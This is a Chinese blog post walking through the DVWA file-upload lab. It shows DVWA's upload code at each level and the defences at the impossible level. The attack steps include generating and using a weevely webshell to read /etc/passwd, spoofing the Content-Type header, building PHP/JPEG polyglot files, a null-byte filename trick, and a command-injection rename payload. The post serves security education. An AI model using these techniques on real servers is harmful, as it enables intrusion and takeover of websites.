• DVWA 黑客攻防演练(五)文件上传漏洞 File Upload


    说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

    把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

    低级

    用户界面是这样的,是一个简单的上传文件功能。

    然而 Hacker 就上传一个 phpinfo.php 文件

    <?
    phpinfo();
    ?>
    

    。。。结果如下

    然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

    Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

    weevely generate 123456 /root/webshell.php
    Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
    

    上传完文件后,登录

    weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
    weevely> ls
    
    dvwa_email.png
    webshell.php
    
    www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    

    就变成你的地盘我做主了。 再来看看低级代码。

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    
    ?> 
    

    为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

    中级

    而中级代码,多了文件类型和文件大小的限制

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size < 100000 ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?> 
    

    这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

    结果如下

    打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

    高级

    中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    ?>
    

    我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种

    比如这是大家老婆的图片

    保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

    为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

    • windows copy /b D:gakki.jpg + D:webshell.php D:gakki.jpg
    • linux/unix cat webshell.php >> gakki.jpg

    所以我们可以制作一个 “图php"

    cat phpinfo.php >> gakki.jpg
    

    只是上传后,重命名是个问题。

    php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

    在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

    然后输入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php ,再访问文件,结果如下

    不可能

    不可能级别的代码有添加了这些

    • 使用 imagecreatefromjpeg imagecreatefrompng 去掉了不属于图片的部分
    • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。
    • 用 anti-token 解决一些 CSRF 问题

    代码如下:

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            }
            else {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

    • 设置文件目录不可以执行
    • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截
  • 相关阅读:
    机器学习十四--深度学习-卷积
    机器学习十三——垃圾邮件分类2
    机器学习十二----朴素贝叶斯-垃圾邮件分类
    机器学习十一 ——分类与监督学习,朴素贝叶斯分类算法
    机器学习九----主成分分析
    机器学习八——特征选择
    基于D3.js 绘制一个折柱混合图
    一个轮播图
    贪吃蛇
    数组中哪些方法是响应式的
  • 原文地址:https://www.cnblogs.com/jojo-feed/p/10173026.html
Copyright © 2020-2023  润新知